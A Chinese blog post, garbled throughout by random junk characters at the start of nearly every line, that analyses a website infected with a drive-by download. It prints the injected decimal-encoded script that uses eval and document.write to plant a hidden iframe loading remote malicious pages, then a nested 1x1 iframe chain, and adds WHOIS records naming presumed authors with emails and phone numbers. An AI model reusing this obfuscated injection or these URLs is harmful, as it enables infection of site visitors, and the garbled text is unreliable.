首发在我的博客里面，
a!=D [Gz*5 7Zlw^'q$:L http://www.areway.cn/?p=175 KET2Ws[w u 6AA 4( $<}$DH_Y 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
IZpP[hov 8fl`r~bqZ <script>t=’60,105,102,114,97,109,101,
<
jJ 32,115,114,99,61,104,116,116,112,58,47,47,
gt@m?w( 102,114,101,101,46,117,45,117,117,117,46,99,
uG,5BV .M 110,47,101,114,114,111,114,46,104,116,109,
f|\onHI)> 32,119,105,100,116,104,61,49,48,48,32,104,
f&Gt | 101,105,103,104,116,61,48,62,60,47,105,102,
be.*#[ 114,97,109,101,62′;
W"k"I vTW} t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
<J) ]mh dm As'=tIro <script>t=’60,105,102,114,97,109,101,32,115,
hb}+A=A=+ 114,99,61,104,116,116,112,58,47,47,102,114,
aDU<wxnSvO 101,101,46,117,45,117,117,117,46,99,110,47,
=vX/{C 101,114,114,111,114,46,104,116,109,32,119,
qm/)ku 0 105,100,116,104,61,49,48,48,32,104,101,105,
N sXHO 103,104,116,61,48,62,60,47,105,102,114,97,
Q+[n91ey** 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
RoPRQCE document.write(t);</script>
jIJ~ QpNE AE[b},-[ <html xmlns=”
_852H$H\ http://www.w3.org/1999/xhtml JMC. w! “>
"&Y`+ 0S8 <head>
;r<^a6B <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
X
$jWo@ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
nT7%j{e=L <title>首页 - 爱生活家庭网
p M4 :#%V 0XE4<U 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Te"ioU?. 转换字符串后的大概内容是（谁点击后果自付）：
p{r}?a <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
>;e~ WF>+K "~sW"n(F_ 查询玉米u-uuu.cn的详细信息：
Cd#(X@n Domain Name: u-uuu.cn
wW>A_{Y ROID: 20070901s10001s64972306-cn
+^6 0T$ Domain Status: ok
!fE`4< |? Registrant Organization: 王雷
j eoz* Dz Registrant Name: 王雷
o#3 ly-ht Administrative Email:
czlovexs@126.com ^aItoJq Sponsoring Registrar: 北京万网志成科技有限公司
)_HA>o_?C: Name Server:ns.yovole.com
Q /U2^ Name Server:ns1.yovole.com
.*OdqLz Registration Date: 2007-09-01 17:54
+ %<(E Expiration Date: 2008-09-01 17:54
glO^yZ s 最后PING了一下地址 都没有什么….
~Y^+M* Ni9/}bb 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
9+Np4i@ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
|j Gf<Bf5 <script language=”javascript” src=”
J!dm-L http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }T(D7| ^R >
<sb~ ^B 这个玉米应该有可能是木马作者的：
P) Jgs foafau.info的详细信息：
dm\F Access to INFO WHOIS information is provided to assist persons in
ha]VWt%} determining the contents of a domain name registration record in the
zu_8># i- Afilias registry database. The data in this record is provided by
?1~` *LE Afilias Limited for informational purposes only, and Afilias does not
Ri<u/ ]oR" guarantee its accuracy. This service is intended only for query-based
^UP`%egR access. You agree that you will use this data only for lawful purposes
B6MB48#0gs and that, under no circumstances will you use this data to: (a) allow,
X8Bd3-B enable, or otherwise support the transmission by e-mail, telephone, or
Dj"F\j 1 facsimile of mass unsolicited, commercial advertising or solicitations
;AG8C#_ to entities other than the data recipient’s own existing customers; or
~[t[y~Hup (b) enable high volume, automated, electronic processes that send
G30-^Tr queries or data to the systems of Registry Operator, a Registrar, or
x]}^v# Afilias except as reasonably necessary to register domain names or
` 'DmDg modify existing registrations. All rights reserved. Afilias reserves
KjD/o?JUr the right to modify these terms at any time. By submitting this query,
T$8)u'-pa you agree to abide by this policy.
w'>p Y Domain ID:D22418703-LRMS
=Qy<GeY Domain Name:FOAFAU.INFO
j` {?OYD Created On:20-Nov-2007 16:05:42 UTC
Hus)c3Ty7 Last Updated On:20-Nov-2007 16:05:44 UTC
T^zXt? Expiration Date:20-Nov-2008 16:05:42 UTC
sA+ }TNhq Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
R)c?`:iUB Status:CLIENT DELETE PROHIBITED
Amtq"<h9a Status:CLIENT RENEW PROHIBITED
M H|Og84 Status:CLIENT TRANSFER PROHIBITED
0_jf/an,% Status:CLIENT UPDATE PROHIBITED
1I%w?^sm_ Status:TRANSFER PROHIBITED
xK>*yV Registrant ID:GODA-040110615
/J]5H Registrant Name:liu hong
n GC/R& Registrant Organization:
7y.kQI?3 Registrant Street1:beijing
t m|ZBM Registrant Street2:
Sj3+l7S? Registrant Street3:
z0 d.J1VW Registrant City:beijing
= }~hWL Registrant State/Province:
#$.;'#u'so Registrant Postal Code:100000
D, k6$` Registrant Country:CN
J"0`%'*/ Registrant Phone:+86.860108888777
z}.e]|b^H Registrant Phone Ext.:
dn& s * Registrant FAX:
!Lu2 Registrant FAX Ext.:
,V7nzhA2 Registrant Email:bbbshiji@163.com
` ./$&' Admin ID:GODA-240110615
wi!?BCse q Admin Name:liu hong
9=s<Ld Admin Organization:
zrvF]|1UP Admin Street1:beijing
jVEGj5F;N Admin Street2:
21n?=[ Admin Street3:
G?yLo 'Ulo Admin City:beijing
_5w]a 2 Admin State/Province:
___~D
dq Admin Postal Code:100000
2_>N/Z4T Admin Country:CN
~?l |
[ Admin Phone:+86.860108888777
b]e"1Y)D- Admin Phone Ext.:
QRw"H 8nW Admin FAX:
."g`3tVK Admin FAX Ext.:
}H53~@WP> Admin Email:bbbshiji@163.com
!n`fTK<$ Billing ID:GODA-340110615
)Om*@;r( Billing Name:liu hong
d z|or9& Billing Organization:
W" scV@HKu Billing Street1:beijing
1Yq! ~ 8 Billing Street2:
b 1c y$I Billing Street3:
9i:L&dN Billing City:beijing
F~-(:7j Billing State/Province:
p:& 8sO!m Billing Postal Code:100000
e1yt9@k, Billing Country:CN
Y/F6\oh Billing Phone:+86.860108888777
=F|{# F Billing Phone Ext.:
Zpt\p7WQ Billing FAX:
+w`2kv Billing FAX Ext.:
. '6gZKXY Billing Email:bbbshiji@163.com
10Q ]67 Tech ID:GODA-140110615
p%ki>p )E| Tech Name:liu hong
PI { bmZ Tech Organization:
N%@Qf~ Tech Street1:beijing
n9\TO9N Tech Street2:
1 C+13LE$U Tech Street3:
{p2!|A&a Tech City:beijing
hE{K=Tz$ Tech State/Province:
`bq<$e Tech Postal Code:100000
<sbu;dQ` Tech Country:CN
70d 1ReQ Tech Phone:+86.860108888777
f_OQ./ ` Tech Phone Ext.:
r `=I Tech FAX:
M/f<A$xx_ Tech FAX Ext.:
E_rI ?t^ Tech Email:bbbshiji@163.com
@mCEHI{P Name Server:NS27.DOMAINCONTROL.COM
q1x`Bj Name Server:NS28.DOMAINCONTROL.COM
zpn9,,~u Name Server:
7sCG^&Y Name Server:
jVe1b1rt~3 Name Server:
LBeF&sb6 Name Server:
>58YjLXb Name Server:
_;S- x Name Server:
xK[ou' Name Server:
K8|r&`X0 Name Server:
/xBb[44z8 Name Server:
l\H=m3Bg Name Server:
5vQHhwO50k Name Server:
RMV/&85?y v4TQX<0s 接着下载每个文件里面的代码：
CZwX TH e 一步一步看..
ZDJ`qJ8V 
P= BZ+6DS 
KfEx"94 
2QcO R4_V 
5DU6rks% 
eS^7A}*wd- 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
